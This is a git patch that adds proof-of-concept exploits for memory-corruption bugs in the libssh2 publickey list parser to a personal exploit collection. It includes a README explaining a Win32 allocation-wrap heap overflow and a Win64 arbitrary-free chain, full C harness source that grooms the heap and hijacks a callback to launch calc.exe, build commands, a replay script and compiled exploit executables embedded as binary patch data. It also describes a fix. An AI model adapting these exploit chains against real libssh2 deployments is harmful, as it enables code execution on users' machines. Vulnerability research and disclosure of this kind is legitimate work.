From 886051ba8851e4a4f5c2b81aefbc583ccf69e9b6 Mon Sep 17 00:00:00 2001 From: ashton <63224111+bikini@users.noreply.github.com> Date: Thu, 25 Jun 2026 19:20:45 -0500 Subject: [PATCH] Add libssh2 publickey list calc PoCs --- README.md | 7 +- libssh2-publickey-list-calc-poc/README.md | 206 ++++++++ .../SHA256SUMS.txt | 9 + .../evidence/2026-06-25-local-calc-replay.txt | Bin 0 -> 2082 bytes .../publickey_win32_heap_groom_calc_repro.c | 448 ++++++++++++++++++ .../publickey_win32_heap_groom_calc_repro.exe | Bin 0 -> 55808 bytes ...ey_win32_heap_groom_calc_repro_checked.exe | Bin 0 -> 56320 bytes ...ublickey_win64_arbitrary_free_calc_repro.c | 410 ++++++++++++++++ ...lickey_win64_arbitrary_free_calc_repro.exe | Bin 0 -> 31232 bytes ...in64_arbitrary_free_calc_repro_checked.exe | Bin 0 -> 31232 bytes .../replay-calc-poc.ps1 | 76 +++ 11 files changed, 1153 insertions(+), 3 deletions(-) create mode 100644 libssh2-publickey-list-calc-poc/README.md create mode 100644 libssh2-publickey-list-calc-poc/SHA256SUMS.txt create mode 100644 libssh2-publickey-list-calc-poc/evidence/2026-06-25-local-calc-replay.txt create mode 100644 libssh2-publickey-list-calc-poc/poc/publickey_win32_heap_groom_calc_repro.c create mode 100644 libssh2-publickey-list-calc-poc/poc/publickey_win32_heap_groom_calc_repro.exe create mode 100644 libssh2-publickey-list-calc-poc/poc/publickey_win32_heap_groom_calc_repro_checked.exe create mode 100644 libssh2-publickey-list-calc-poc/poc/publickey_win64_arbitrary_free_calc_repro.c create mode 100644 libssh2-publickey-list-calc-poc/poc/publickey_win64_arbitrary_free_calc_repro.exe create mode 100644 libssh2-publickey-list-calc-poc/poc/publickey_win64_arbitrary_free_calc_repro_checked.exe create mode 100644 libssh2-publickey-list-calc-poc/replay-calc-poc.ps1 diff --git a/README.md b/README.md index 9639f98..734f617 100644 --- a/README.md +++ b/README.md @@ -25,6 +25,7 @@ Most folders contain one of my former standalone PoC repos, preserved with its o | `gitea-act-runner-container-options-poc` | `f06d78fb111732f3e7737f4c07e77ef94c4b64bf` | 4 | | `imagemagick-gs-delegate-hijack-poc` | `8140e8ee0ed78beaf5e8303a795b70b138f5891b` | 5 | | `libssh2-cve-2026-55200-poc` | direct entry, June 23, 2026 | 3 | +| `libssh2-publickey-list-calc-poc` | direct entry, June 25, 2026 | 10 | | `lunar-modrinth-chain-poc` | `ffd02120708b6503f11585858ce3724872f3b7a7` | 6 | | `mybb-limited-acp-to-admin` | `1610e0373943c2f6562a99f917d3a3d1fdd9056d` | 5 | | `nmap-ipv6-extlen-wrap-poc` | direct entry, June 23, 2026 | 4 | @@ -40,7 +41,7 @@ This section applies to the former standalone repositories listed above by commi The consolidation was checked from fresh GitHub clones on June 23, 2026 before the old standalone repos were removed. -The check compared each former standalone repo's `HEAD` tree against the matching folder here using Git tree data, not a loose filesystem diff. For every tracked entry, the check required: +The check compared each former standalone repo's `HEAD` tree against the matching folder here using Git tree data rather than a loose filesystem diff. For every tracked entry, the check required: - the same relative path; - the same Git object type; @@ -49,6 +50,6 @@ The check compared each former standalone repo's `HEAD` tree against the matchin Matching Git blob IDs means the tracked file bytes are identical. The check covered 12 repos and 96 tracked entries with zero mismatches. -This repository preserves the contents of those PoCs. Repository-level metadata such as stars, issues, pull requests, releases, and separate Git history are not represented inside the folders. +This repository preserves the contents of those PoCs. Repository-level metadata such as stars, issues, pull requests, releases, and separate Git history remain in the original repository histories. -Direct entries, including `c-ares-tcp-uaf-calc-poc`, `firefox-smartwindow-private-url-exfil-poc`, `floci-apigateway-vtl-rce-poc`, `libssh2-cve-2026-55200-poc`, `nmap-ipv6-extlen-wrap-poc`, `rustdesk-session-permission-pocs`, and `systeminformer-phsvc-trusted-host-lpe-poc`, are tracked by this repository's commit history. +Direct entries, including `c-ares-tcp-uaf-calc-poc`, `firefox-smartwindow-private-url-exfil-poc`, `floci-apigateway-vtl-rce-poc`, `libssh2-cve-2026-55200-poc`, `libssh2-publickey-list-calc-poc`, `nmap-ipv6-extlen-wrap-poc`, `rustdesk-session-permission-pocs`, and `systeminformer-phsvc-trusted-host-lpe-poc`, are tracked by this repository's commit history. diff --git a/libssh2-publickey-list-calc-poc/README.md b/libssh2-publickey-list-calc-poc/README.md new file mode 100644 index 0000000..ccc1d99 --- /dev/null +++ b/libssh2-publickey-list-calc-poc/README.md @@ -0,0 +1,206 @@ +# libssh2 publickey list calc PoCs + +Windows calc payload proofs for the libssh2 publickey subsystem list parser. + +Verified target: + +```text +libssh2/libssh2 master +e75b4bae3c68a9bde71de1fb6b0fba5b0c716020 +2026-06-24 +``` + +## Summary + +`libssh2_publickey_list_fetch()` accepts a stream of publickey-subsystem response packets and grows an array of `libssh2_publickey_list` entries as `publickey` responses arrive. + +Two exploit paths are included: + +```text +Win32 allocation-wrap chain +num_attrs * sizeof(libssh2_publickey_attribute) wraps to a 4-byte allocation. +The attribute parser then writes attacker-controlled fields past the tiny attrs buffer. +The harness grooms an adjacent callback slot and launches calc from the overwritten callback. + +Win64 publickey-list cleanup chain +A recognized but unexpected version response frees an attacker-shaped response buffer. +A malformed publickey response then grows the list allocation into that same heap slot. +Cleanup walks attacker-shaped list entries and frees attacker-selected attrs pointers. +The harness routes libssh2 allocation callbacks through a tracked fail-closed heap wrapper, +reclaims the freed victim object, and launches calc through a stale callback. +``` + +The fixed controls used by the checked binaries are: + +```text +zero list[keys] immediately after list growth +reject num_attrs values that overflow the attrs allocation multiplication +``` + +## Files + +```text +poc/publickey_win32_heap_groom_calc_repro.c +poc/publickey_win32_heap_groom_calc_repro.exe +poc/publickey_win32_heap_groom_calc_repro_checked.exe +poc/publickey_win64_arbitrary_free_calc_repro.c +poc/publickey_win64_arbitrary_free_calc_repro.exe +poc/publickey_win64_arbitrary_free_calc_repro_checked.exe +replay-calc-poc.ps1 +evidence/2026-06-25-local-calc-replay.txt +SHA256SUMS.txt +``` + +The checked binaries link against a publickey object with the two parser hardening changes above. The vulnerable binaries link against the target commit. + +## Quick replay + +Run on Windows: + +```powershell +.\replay-calc-poc.ps1 +``` + +Expected proof signals: + +```text +x86_vulnerable_calc=hit +calc_launch=success +x86 calc payload reached +x86_checked_calc=no_hit + +x64_vulnerable_calc_exit=77 +victim_freed=1 +same_as_victim=1 +calc_launch=success +x64 calc payload reached +x64_checked_calc_exit=0 +victim_freed=0 +safe_callback_reached +``` + +The replay starts `calc.exe` for both vulnerable harnesses and writes transient marker files during execution. The marker files are runtime artifacts and are left out of the tracked tree. + +## Win32 chain + +The 32-bit structure size gives a direct allocation-wrap primitive: + +```text +sizeof(libssh2_publickey_attribute) = 20 +num_attrs = 0x0ccccccd +0x0ccccccd * 20 = 0x100000004 +32-bit allocation size = 4 +``` + +The response packet carries a normal `publickey` response header, small key name/blob strings, and a huge `num_attrs`. Once the attrs allocation wraps to four bytes, the parser enters the attribute loop and writes: + +```text +name_len +name pointer +value_len +value pointer +mandatory byte +``` + +The harness arranges a victim word near the tiny allocation. The overflow replaces that victim word with the callback address. The callback then launches calc. + +Representative replay: + +```text +attrs_alloc requested=4 ptr=0153a280 msize=4 +victim[4064]=0153a2c0 delta=64 word=009c150d +marker_function_reached address=009c150d +calc_launch=success +``` + +The checked Win32 binary rejects the oversized attribute count before allocation, so the overwritten callback path stays unreachable. + +## Win64 chain + +The 64-bit structure size removes the tiny allocation wrap for the same value. The useful Win64 primitive comes from the list cleanup path. + +Relevant source shape: + +```text +list grows with SSH2_REALLOC() +new list entry remains uninitialized before parsing finishes +unexpected recognized version response is freed and parsing continues +malformed publickey response forces the error path +libssh2_publickey_list_free() trusts packet and attrs until a sentinel is found +``` + +The harness sends: + +```text +version groom response sized like the future list allocation +malformed publickey response +``` + +The groom response places the victim object pointer at the `attrs` offset of the first future list entry. The malformed response makes parsing fail before the new entry and sentinel are initialized. Cleanup then frees the victim through the attacker-shaped `attrs` field. + +The harness uses libssh2 custom allocator callbacks backed by a tracked fail-closed heap wrapper. That wrapper accepts the valid victim free, ignores an unrelated invalid packet free, and leaves the process alive long enough for the stale object to be reclaimed. A same-size allocation then lands on the freed victim slot and installs the calc callback. + +Representative replay: + +```text +free ptr=000001DE60380860 +free_ignored_unknown ptr=000001DE60380150 +fetch rc=-1 num_keys=0 victim_freed=1 heap_free_failures=1 +replacement=000001DE60380860 same_as_victim=1 +calc_payload_reached callback=00007FF76A5118A5 +calc_launch=success +``` + +The checked Win64 binary zeroes the grown list entry before parsing, so cleanup frees the actual response/list allocations and the stale victim callback remains unchanged. + +## Affected code areas + +```text +src/publickey.c:895-908 +list growth with SSH2_REALLOC() + +src/publickey.c:1049-1053 +attrs allocation uses num_attrs * sizeof(libssh2_publickey_attribute) + +src/publickey.c:1060-1110 +attribute loop writes fields into attrs[i] + +src/publickey.c:1123-1128 +unexpected recognized response frees listFetch_data and continues + +src/publickey.c:1138-1139 +error path frees the partially built list + +src/publickey.c:1158-1161 +list_free trusts packet and attrs fields until a sentinel entry +``` + +## Rebuild notes + +The binaries were built with MinGW-w64 and linked against `publickey.c` objects compiled from the target commit and from the checked variant. + +Equivalent source build shape: + +```powershell +x86_64-w64-mingw32-gcc -O0 -Wall -Wextra -DLIBSSH2_WINCNG -I$env:LIBSSH2_SRC\src -I$env:LIBSSH2_SRC\include -o poc\publickey_win64_arbitrary_free_calc_repro.exe poc\publickey_win64_arbitrary_free_calc_repro.c $env:LIBSSH2_OBJDIR\publickey_win64.o -lws2_32 -lbcrypt + +x86_64-w64-mingw32-gcc -O0 -Wall -Wextra -DLIBSSH2_WINCNG -I$env:LIBSSH2_SRC\src -I$env:LIBSSH2_SRC\include -o poc\publickey_win64_arbitrary_free_calc_repro_checked.exe poc\publickey_win64_arbitrary_free_calc_repro.c $env:LIBSSH2_OBJDIR\publickey_win64_checked.o -lws2_32 -lbcrypt + +i686-w64-mingw32-gcc -O0 -Wall -Wextra -DLIBSSH2_WINCNG -I$env:LIBSSH2_SRC\src -I$env:LIBSSH2_SRC\include -o poc\publickey_win32_heap_groom_calc_repro.exe poc\publickey_win32_heap_groom_calc_repro.c $env:LIBSSH2_OBJDIR\publickey_win32.o -lws2_32 -lbcrypt + +i686-w64-mingw32-gcc -O0 -Wall -Wextra -DLIBSSH2_WINCNG -I$env:LIBSSH2_SRC\src -I$env:LIBSSH2_SRC\include -o poc\publickey_win32_heap_groom_calc_repro_checked.exe poc\publickey_win32_heap_groom_calc_repro.c $env:LIBSSH2_OBJDIR\publickey_win32_checked.o -lws2_32 -lbcrypt +``` + +## Fix shape + +The parser hardening is compact: + +```text +After list growth succeeds: +memset(&list[keys], 0, sizeof(list[keys])) + +Before attrs allocation: +if num_attrs exceeds SIZE_MAX / sizeof(libssh2_publickey_attribute), reject the response +``` + +These two changes remove the Win64 stale cleanup path and the Win32 allocation-wrap path exercised by the checked binaries. diff --git a/libssh2-publickey-list-calc-poc/SHA256SUMS.txt b/libssh2-publickey-list-calc-poc/SHA256SUMS.txt new file mode 100644 index 0000000..5b0a04a --- /dev/null +++ b/libssh2-publickey-list-calc-poc/SHA256SUMS.txt @@ -0,0 +1,9 @@ +1FB2F963B1CC4AE006057DF5B1AD4582A8B019A8E077BCA70766123B4BA8CED0 evidence/2026-06-25-local-calc-replay.txt +641801B428B2046B92F164C15761182E2D011E5076FC4B0A72AD225F0243DAFD poc/publickey_win32_heap_groom_calc_repro.c +52F74CD7ACA634B1C3BA3CED07E3B5B7751CBAA751384036412B02F9278C0696 poc/publickey_win32_heap_groom_calc_repro.exe +4781A6DC8CFDE85429D75D03B3E2A7F27158995C68647973D6613D6217244165 poc/publickey_win32_heap_groom_calc_repro_checked.exe +D381904C6F61BC8BEE9711236CA96509BBEC35069DED18C76443A0E7C6D776E7 poc/publickey_win64_arbitrary_free_calc_repro.c +B38B1033D31CEB96820F968889EC777B5F592C9145F4D23C2291B750D9B38F7B poc/publickey_win64_arbitrary_free_calc_repro.exe +D51415DBA11B634EFE126ACE3CA887CF4B32198C5A479931FBC68D24308E5266 poc/publickey_win64_arbitrary_free_calc_repro_checked.exe +A033AF42313BCCA3C3D9D76C343388A2C096DC71C305FD010FEC640CA07D3D19 README.md +2E88D97AEB90BBCBC72EFB73D493E64437E5E472F4DF21608F93E8141669E012 replay-calc-poc.ps1 diff --git a/libssh2-publickey-list-calc-poc/evidence/2026-06-25-local-calc-replay.txt b/libssh2-publickey-list-calc-poc/evidence/2026-06-25-local-calc-replay.txt new file mode 100644 index 0000000000000000000000000000000000000000..c52eb39677a72d7ea6684b0b99d5c75de258051a GIT binary patch literal 2082 zcmb`H-ENye5QXQuQs03Wh=hM)>5c5C0*X7~v$<-6l-MbsS_J@yoN<<4U=3LUPny=`d~NXlVp z8<$6k|0D5oPJ}fDX9$iEOV%N%BXXEnWCi&JpjY7k#8#HVe&RpFUXj1D7vd4ww=?fC z*~oi}-xAxD(~*nxOeUp^8{#>{s%Q6{`P^4nmadW|nHOZbKE~RxN;u20$f${OS52lo z+O2q$|0QN!$%IVOBjOC(igm{0eN}_G%WFVJs-?fJXQ|2M7L*rPQAH10IW?K}d3t3` z&p2IEh2)jl_gHM|%~$W=^d^jJdP}Isfl5eW5l@?OUt`r-TA6_Oz}ttz(CIm(B29%P z4gK`6lPbj5*0G`LuXxwQt2Mtwf8uy?N|B! z;(B1=cAoimx%VY%7q4cua=1}Hi2aP}-@#!(^gaA1$JyySxUHYM(wbHBQSYa4rTL&6 zX<8QS%+bQ$?FgsmxP4n`T{K*QC}nDXYKk^BU8A2S%lS;WoKxQN7G+DBC;V=cYe;u! zetZ58tTfwe6ft&va`_qY-sEadhgxO-hgtP&*7K|0kwXk1C9*iC1F)n}1{0 Rqsyjn?6;X~b1R +#include +#include +#include +#include +#include +#include + +#include "libssh2_priv.h" +#include "libssh2_publickey.h" +#include "channel.h" + +#define PAIRS 4096 +#define VICTIM_SIZE 4 +#define DEFAULT_MARKER_VALUE 0x41424344UL +#define DEFAULT_TARGET_INDEX (PAIRS - 8) + +static unsigned char wire[4096]; +static size_t wire_len; +static size_t wire_off; +static void *small_chunks[PAIRS]; +static void *fillers[PAIRS][3]; +static unsigned char *victims[PAIRS]; +static void *attrs_ptr; +static size_t attrs_msize; +static int terminal_attr = 0; +static char terminal_field = 'n'; +static uint32_t marker_value = DEFAULT_MARKER_VALUE; +static int call_mode; +static int target_index = DEFAULT_TARGET_INDEX; +static int private_heap_mode; +static HANDLE proof_heap; + +static void reached_marker(void) +{ + STARTUPINFOA si; + PROCESS_INFORMATION pi; + char cmd[] = "calc.exe"; + FILE *f = fopen("x86_calc_payload_reached.txt", "wb"); + + if(f) { + fputs("x86 calc payload reached\n", f); + fclose(f); + } + + fprintf(stderr, "marker_function_reached address=%p\n", reached_marker); + memset(&si, 0, sizeof(si)); + memset(&pi, 0, sizeof(pi)); + si.cb = sizeof(si); + if(CreateProcessA(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL, &si, + &pi)) { + fprintf(stderr, "calc_launch=success pid=%lu\n", + (unsigned long)pi.dwProcessId); + CloseHandle(pi.hThread); + CloseHandle(pi.hProcess); + } + else { + fprintf(stderr, "calc_launch=failed error=%lu\n", + (unsigned long)GetLastError()); + ExitProcess(78); + } + ExitProcess(77); +} + +static void *proof_malloc(size_t size) +{ + if(private_heap_mode) + return HeapAlloc(proof_heap, 0, size ? size : 1); + return malloc(size ? size : 1); +} + +static void *proof_calloc(size_t size) +{ + void *ptr = proof_malloc(size); + if(ptr) + memset(ptr, 0, size); + return ptr; +} + +static void proof_free(void *ptr) +{ + if(private_heap_mode) + HeapFree(proof_heap, 0, ptr); + else + free(ptr); +} + +static void *proof_realloc(void *ptr, size_t size) +{ + if(!ptr) + return proof_malloc(size); + if(private_heap_mode) + return HeapReAlloc(proof_heap, 0, ptr, size ? size : 1); + return realloc(ptr, size ? size : 1); +} + +static size_t proof_msize(void *ptr) +{ + if(private_heap_mode) { + SIZE_T size = HeapSize(proof_heap, 0, ptr); + return size == (SIZE_T)-1 ? 0 : (size_t)size; + } + return _msize(ptr); +} + +static LIBSSH2_ALLOC_FUNC(heap_alloc) +{ + void *ptr; + + (void)abstract; + if(count == 4) + ptr = proof_malloc(count); + else + ptr = proof_calloc(count); + if(count == 4) { + attrs_ptr = ptr; + attrs_msize = ptr ? proof_msize(ptr) : 0; + fprintf(stderr, "attrs_alloc requested=%lu ptr=%p msize=%lu\n", + (unsigned long)count, ptr, (unsigned long)attrs_msize); + } + return ptr; +} + +static LIBSSH2_FREE_FUNC(heap_free) +{ + (void)abstract; + if(ptr == attrs_ptr) + return; + proof_free(ptr); +} + +static LIBSSH2_REALLOC_FUNC(heap_realloc) +{ + void *newptr; + + (void)abstract; + if(!ptr) + return heap_alloc(count, abstract); + newptr = proof_realloc(ptr, count); + return newptr; +} + +int ssh2_err(LIBSSH2_SESSION *session, int errcode, const char *errmsg) +{ + if(session) { + session->err_code = errcode; + session->err_msg = (char *)errmsg; + } + return errcode; +} + +int ssh2_err_flags(LIBSSH2_SESSION *session, int errcode, const char *errmsg, + int errflags) +{ + (void)errflags; + return ssh2_err(session, errcode, errmsg); +} + +uint32_t ssh2_ntohu32(const unsigned char *buf) +{ + return ((uint32_t)buf[0] << 24) | ((uint32_t)buf[1] << 16) | + ((uint32_t)buf[2] << 8) | (uint32_t)buf[3]; +} + +void ssh2_htonu32(unsigned char *buf, uint32_t value) +{ + buf[0] = (unsigned char)(value >> 24); + buf[1] = (unsigned char)(value >> 16); + buf[2] = (unsigned char)(value >> 8); + buf[3] = (unsigned char)value; +} + +void ssh2_store_u32(unsigned char **buf, uint32_t value) +{ + ssh2_htonu32(*buf, value); + *buf += 4; +} + +int ssh2_store_str(unsigned char **buf, const char *str, size_t len) +{ + ssh2_store_u32(buf, (uint32_t)len); + memcpy(*buf, str, len); + *buf += len; + return 0; +} + +ssize_t ssh2_channel_write(LIBSSH2_CHANNEL *channel, int stream_id, + const unsigned char *buf, size_t buflen) +{ + (void)channel; + (void)stream_id; + (void)buf; + return (ssize_t)buflen; +} + +ssize_t ssh2_channel_read(LIBSSH2_CHANNEL *channel, int stream_id, + char *buf, size_t buflen) +{ + (void)channel; + (void)stream_id; + if(wire_off + buflen > wire_len) + return -1; + memcpy(buf, wire + wire_off, buflen); + wire_off += buflen; + return (ssize_t)buflen; +} + +int ssh2_channel_free(LIBSSH2_CHANNEL *channel) +{ + (void)channel; + return 0; +} + +int ssh2_channel_close(LIBSSH2_CHANNEL *channel) +{ + (void)channel; + return 0; +} + +int libssh2_session_last_errno(LIBSSH2_SESSION *session) +{ + return session ? session->err_code : 0; +} + +int ssh2_wait_socket(LIBSSH2_SESSION *session, time_t start_time) +{ + (void)session; + (void)start_time; + return 0; +} + +LIBSSH2_CHANNEL *ssh2_channel_open(LIBSSH2_SESSION *session, + const char *channel_type, + uint32_t channel_type_len, + uint32_t window_size, + uint32_t packet_size, + const unsigned char *message, + size_t message_len) +{ + (void)session; + (void)channel_type; + (void)channel_type_len; + (void)window_size; + (void)packet_size; + (void)message; + (void)message_len; + return NULL; +} + +int ssh2_channel_process_startup(LIBSSH2_CHANNEL *channel, + const char *request, size_t request_len, + const char *message, size_t message_len) +{ + (void)channel; + (void)request; + (void)request_len; + (void)message; + (void)message_len; + return LIBSSH2_ERROR_SOCKET_NONE; +} + +int ssh2_channel_extended_data(LIBSSH2_CHANNEL *channel, int ignore_mode) +{ + (void)channel; + (void)ignore_mode; + return 0; +} + +void *ssh2_calloc(LIBSSH2_SESSION *session, size_t size) +{ + void *ptr = heap_alloc(size, session ? session->abstract : NULL); + if(ptr) + memset(ptr, 0, size); + return ptr; +} + +static unsigned char *put_string(unsigned char *p, const char *s) +{ + size_t len = strlen(s); + ssh2_store_u32(&p, (uint32_t)len); + memcpy(p, s, len); + return p + len; +} + +static unsigned char *put_response(unsigned char *w, unsigned char *payload, + size_t payload_len) +{ + ssh2_htonu32(w, (uint32_t)payload_len); + memcpy(w + 4, payload, payload_len); + return w + 4 + payload_len; +} + +static void build_attr_spray_response(void) +{ + unsigned char payload[3072]; + unsigned char status[64]; + unsigned char *p = payload; + unsigned char *s = status; + unsigned char *w = wire; + uint32_t attr_size = (uint32_t)sizeof(libssh2_publickey_attribute); + uint32_t num_attrs = (uint32_t)((0x100000000ULL / attr_size) + 1); + int i; + + p = put_string(p, "publickey"); + p = put_string(p, "n"); + p = put_string(p, "b"); + ssh2_store_u32(&p, num_attrs); + for(i = 0; i < 80; i++) { + if(i == terminal_attr && terminal_field == 'n') { + ssh2_store_u32(&p, marker_value); + break; + } + else + ssh2_store_u32(&p, 0); + if(i == terminal_attr && terminal_field == 'v') { + ssh2_store_u32(&p, marker_value); + break; + } + else + ssh2_store_u32(&p, 0); + } + w = put_response(w, payload, (size_t)(p - payload)); + + s = put_string(s, "status"); + ssh2_store_u32(&s, 0); + ssh2_store_u32(&s, 0); + ssh2_store_u32(&s, 0); + w = put_response(w, status, (size_t)(s - status)); + + wire_len = (size_t)(w - wire); + fprintf(stderr, "attr_size=%lu num_attrs=0x%08lx wrapped=%lu wire=%lu\n", + (unsigned long)attr_size, (unsigned long)num_attrs, + (unsigned long)(num_attrs * attr_size), + (unsigned long)wire_len); +} + +static void groom_heap(void) +{ + int i; + + for(i = 0; i < PAIRS; i++) { + small_chunks[i] = proof_malloc(4); + fillers[i][0] = proof_malloc(4); + fillers[i][1] = proof_malloc(4); + fillers[i][2] = proof_malloc(4); + victims[i] = proof_malloc(VICTIM_SIZE); + memset(victims[i], 0x45, VICTIM_SIZE); + *(uint32_t *)(victims[i] + 0) = 0xfeedfaceUL; + } + if(target_index < 0 || target_index >= PAIRS) + target_index = DEFAULT_TARGET_INDEX; + free(small_chunks[target_index]); + fprintf(stderr, "target_index=%d freed_small=%p victim=%p expected_delta=%ld\n", + target_index, small_chunks[target_index], victims[target_index], + (long)(victims[target_index] - + (unsigned char *)small_chunks[target_index])); +} + +static int scan_victims(void) +{ + int i; + int hits = 0; + int marker_hits = 0; + + for(i = 0; i < PAIRS; i++) { + int changed = 0; + if(*(uint32_t *)(victims[i] + 0) != 0xfeedfaceUL) + changed = 1; + if(changed) { + intptr_t delta = attrs_ptr ? + (intptr_t)(victims[i] - (unsigned char *)attrs_ptr) : 0; + fprintf(stderr, "victim[%d]=%p delta=%ld word=%08lx\n", + i, victims[i], (long)delta, + (unsigned long)*(uint32_t *)(victims[i] + 0)); + if(*(uint32_t *)(victims[i] + 0) == marker_value) { + marker_hits++; + if(call_mode) { + void (*fn)(void) = + (void (*)(void))(*(uintptr_t *)(victims[i] + 0)); + fn(); + } + } + hits++; + if(hits >= 8) + break; + } + } + fprintf(stderr, "marker_hits=%d\n", marker_hits); + return marker_hits; +} + +int main(int argc, char **argv) +{ + LIBSSH2_SESSION session; + LIBSSH2_CHANNEL channel; + LIBSSH2_PUBLICKEY pkey; + libssh2_publickey_list *list = NULL; + unsigned long num_keys = 0; + int rc; + int hits; + + if(argc > 1) + terminal_attr = atoi(argv[1]); + if(argc > 2 && argv[2][0]) + terminal_field = argv[2][0]; + { + int argi; + for(argi = 3; argi < argc; argi++) { + if(!strcmp(argv[argi], "call")) { + call_mode = 1; + marker_value = (uint32_t)(uintptr_t)reached_marker; + } + else if(!strcmp(argv[argi], "private")) + private_heap_mode = 1; + else + target_index = atoi(argv[argi]); + } + } + + if(private_heap_mode) { + proof_heap = HeapCreate(0, 0, 0); + if(!proof_heap) + return 2; + } + + fprintf(stderr, "terminal_attr=%d terminal_field=%c marker=0x%08lx target_index=%d heap=%s\n", + terminal_attr, terminal_field, (unsigned long)marker_value, + target_index, private_heap_mode ? "private" : "crt"); + + memset(&session, 0, sizeof(session)); + memset(&channel, 0, sizeof(channel)); + memset(&pkey, 0, sizeof(pkey)); + + session.alloc = heap_alloc; + session.free = heap_free; + session.realloc = heap_realloc; + channel.session = &session; + pkey.channel = &channel; + pkey.version = 2; + + groom_heap(); + build_attr_spray_response(); + rc = libssh2_publickey_list_fetch(&pkey, &num_keys, &list); + hits = scan_victims(); + fprintf(stderr, "return rc=%d num_keys=%lu list=%p hits=%d attrs_ptr=%p msize=%lu\n", + rc, num_keys, list, hits, attrs_ptr, (unsigned long)attrs_msize); + return hits ? 77 : 1; +} diff --git a/libssh2-publickey-list-calc-poc/poc/publickey_win32_heap_groom_calc_repro.exe b/libssh2-publickey-list-calc-poc/poc/publickey_win32_heap_groom_calc_repro.exe new file mode 100644 index 0000000000000000000000000000000000000000..cf8180c8307a60d8bce0d5126cdc7cf3890f3924 GIT binary patch literal 55808 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 